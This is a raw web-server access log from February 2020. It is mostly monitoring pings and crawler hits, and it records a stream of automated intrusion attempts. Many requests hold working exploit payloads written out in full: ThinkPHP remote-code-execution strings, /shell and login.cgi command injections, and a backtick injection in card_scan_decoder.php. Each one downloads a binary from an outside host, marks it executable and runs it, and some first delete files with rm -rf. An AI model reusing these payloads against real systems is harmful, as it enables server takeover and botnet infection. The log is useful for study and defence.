1.54.135.94 - - [05/Feb/2020:21:08:40 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:21:08:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.71.143.108 - - [05/Feb/2020:21:09:38 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:21:09:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
213.211.107.5 - - [05/Feb/2020:21:10:31 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://scan.casualaffinity.net/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [05/Feb/2020:21:10:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:21:11:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:21:12:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:21:13:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:21:14:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
177.107.16.120 - - [05/Feb/2020:21:15:34 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [05/Feb/2020:21:15:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.133.96.49 - - [05/Feb/2020:21:16:37 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
89.248.174.216 - - [05/Feb/2020:21:16:40 +0100] "POST /editBlackAndWhiteList HTTP/1.1" 404 326 "-" "ApiTool"
212.91.246.72 - - [05/Feb/2020:21:16:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
90.140.188.81 - - [05/Feb/2020:21:17:12 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [05/Feb/2020:21:17:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
174.81.167.164 - - [05/Feb/2020:21:18:38 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:21:18:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.71.76.156 - - [05/Feb/2020:21:19:50 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:21:19:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:21:20:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:21:21:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:21:22:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
58.187.97.172 - - [05/Feb/2020:21:23:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:21:23:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:21:24:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:21:25:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:21:26:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
89.248.174.216 - - [05/Feb/2020:21:27:19 +0100] "POST /editBlackAndWhiteList HTTP/1.1" 404 326 "-" "ApiTool"
212.91.246.72 - - [05/Feb/2020:21:27:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:21:28:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:21:29:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:21:30:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.81.113.82 - - [05/Feb/2020:21:31:28 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:21:31:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
89.248.174.216 - - [05/Feb/2020:21:31:57 +0100] "POST /editBlackAndWhiteList HTTP/1.1" 404 326 "-" "ApiTool"
212.91.246.72 - - [05/Feb/2020:21:32:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:21:33:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
110.137.107.84 - - [05/Feb/2020:21:34:49 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://scan.casualaffinity.net/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [05/Feb/2020:21:34:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:21:35:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
89.248.174.216 - - [05/Feb/2020:21:35:53 +0100] "POST /editBlackAndWhiteList HTTP/1.1" 404 326 "-" "ApiTool"
212.91.246.72 - - [05/Feb/2020:21:36:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:21:37:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.119.171.190 - - [05/Feb/2020:21:38:05 +0100] "GET / HTTP/1.1" 200 1229 "http://69-13-59.ru/" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)"
46.119.171.190 - - [05/Feb/2020:21:38:06 +0100] "GET / HTTP/1.1" 200 1229 "http://69-13-59.ru/" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)"
46.119.171.190 - - [05/Feb/2020:21:38:06 +0100] "GET / HTTP/1.1" 200 1229 "http://69-13-59.ru/" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)"
212.91.246.72 - - [05/Feb/2020:21:38:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.22.223.102 - - [05/Feb/2020:21:38:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:21:39:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:21:40:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:21:41:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
114.215.184.51 - - [05/Feb/2020:21:42:40 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
114.215.184.51 - - [05/Feb/2020:21:42:40 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
114.215.184.51 - - [05/Feb/2020:21:42:41 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
114.215.184.51 - - [05/Feb/2020:21:42:41 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
114.215.184.51 - - [05/Feb/2020:21:42:42 +0100] "GET /public/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
114.215.184.51 - - [05/Feb/2020:21:42:43 +0100] "GET /TP/html/public/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
114.215.184.51 - - [05/Feb/2020:21:42:43 +0100] "GET /elrekt.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
114.215.184.51 - - [05/Feb/2020:21:42:44 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
114.215.184.51 - - [05/Feb/2020:21:42:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [05/Feb/2020:21:42:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
221.0.17.224 - - [05/Feb/2020:21:42:53 +0100] "CONNECT www.voanews.com:443 HTTP/1.1" 405 345 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
58.48.130.69 - - [05/Feb/2020:21:42:54 +0100] "CONNECT www.ipip.net:443 HTTP/1.1" 405 342 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
116.252.0.55 - - [05/Feb/2020:21:42:56 +0100] "GET http://www.rfa.org/english/ HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
31.193.91.39 - - [05/Feb/2020:21:42:57 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
220.200.156.169 - - [05/Feb/2020:21:42:57 +0100] "GET http://www.123cha.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
58.48.129.146 - - [05/Feb/2020:21:42:57 +0100] "CONNECT www.baidu.com:443 HTTP/1.1" 405 343 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
116.252.0.140 - - [05/Feb/2020:21:42:58 +0100] "GET http://www.minghui.org/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
106.45.0.188 - - [05/Feb/2020:21:43:01 +0100] "GET http://boxun.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
112.193.169.31 - - [05/Feb/2020:21:43:01 +0100] "CONNECT cn.bing.com:443 HTTP/1.1" 405 341 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
111.162.151.1 - - [05/Feb/2020:21:43:02 +0100] "GET http://www.wujieliulan.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
182.138.137.30 - - [05/Feb/2020:21:43:03 +0100] "GET http://www.epochtimes.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
212.91.246.72 - - [05/Feb/2020:21:43:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:21:44:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
189.154.64.227 - - [05/Feb/2020:21:44:51 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
176.227.143.71 - - [05/Feb/2020:21:45:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
35.196.73.193 - - [05/Feb/2020:21:45:36 +0100] "GET /robots.txt HTTP/1.0" 404 330 "-" "ZoominfoBot (zoominfobot at zoominfo dot com)"
35.196.73.193 - - [05/Feb/2020:21:45:36 +0100] "GET / HTTP/1.0" 200 1229 "-" "ZoominfoBot (zoominfobot at zoominfo dot com)"
212.91.246.72 - - [05/Feb/2020:21:45:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.116.158.1 - - [05/Feb/2020:21:46:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:21:46:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
49.228.6.144 - - [05/Feb/2020:21:47:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
220.121.0.69 - - [05/Feb/2020:21:47:22 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.121.0.69 - - [05/Feb/2020:21:47:32 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.121.0.69 - - [05/Feb/2020:21:47:44 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [05/Feb/2020:21:47:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
220.121.0.69 - - [05/Feb/2020:21:48:08 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [05/Feb/2020:21:48:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:21:49:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:21:50:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.225.213.189 - - [05/Feb/2020:21:51:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:21:51:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
177.106.12.160 - - [05/Feb/2020:21:52:44 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:21:52:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:21:53:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
202.162.218.107 - - [05/Feb/2020:21:54:11 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [05/Feb/2020:21:54:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
123.10.155.148 - - [05/Feb/2020:21:55:04 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://scan.casualaffinity.net/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [05/Feb/2020:21:55:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.55.31.91 - - [05/Feb/2020:21:56:06 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:21:56:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:21:57:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:21:58:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
171.229.239.0 - - [05/Feb/2020:21:58:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
186.10.102.218 - - [05/Feb/2020:21:59:08 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [05/Feb/2020:21:59:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:22:00:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.102.49.193 - - [05/Feb/2020:22:01:12 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"
212.91.246.72 - - [05/Feb/2020:22:01:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:22:02:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:22:03:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.94.46.200 - - [05/Feb/2020:22:04:04 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
167.250.15.2 - - [05/Feb/2020:22:04:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [05/Feb/2020:22:04:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.118.70.122 - - [05/Feb/2020:22:05:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:22:05:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.54.47.215 - - [05/Feb/2020:22:05:55 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
46.39.28.44 - - [05/Feb/2020:22:06:22 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [05/Feb/2020:22:06:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:22:07:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.116.130.130 - - [05/Feb/2020:22:08:38 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:22:08:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:22:09:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.131.143.250 - - [05/Feb/2020:22:10:22 +0100] "GET /card_scan_decoder.php?No=30&door=%60wget http://switchnets.net/hoho.arm7; chmod 777 hoho.arm7; ./hoho.arm7 linear%60 HTTP/1.1" 400 340 "-" "dark_NeXus_Qbot/4.0 (compatible; MSIE5.01; minerword NT)"
212.91.246.72 - - [05/Feb/2020:22:10:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.71.243.79 - - [05/Feb/2020:22:11:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://scan.casualaffinity.net/servicesd000/fx19.x86 -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
112.72.95.64 - - [05/Feb/2020:22:11:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
131.100.47.69 - - [05/Feb/2020:22:11:48 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [05/Feb/2020:22:11:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.69.105.61 - - [05/Feb/2020:22:12:25 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
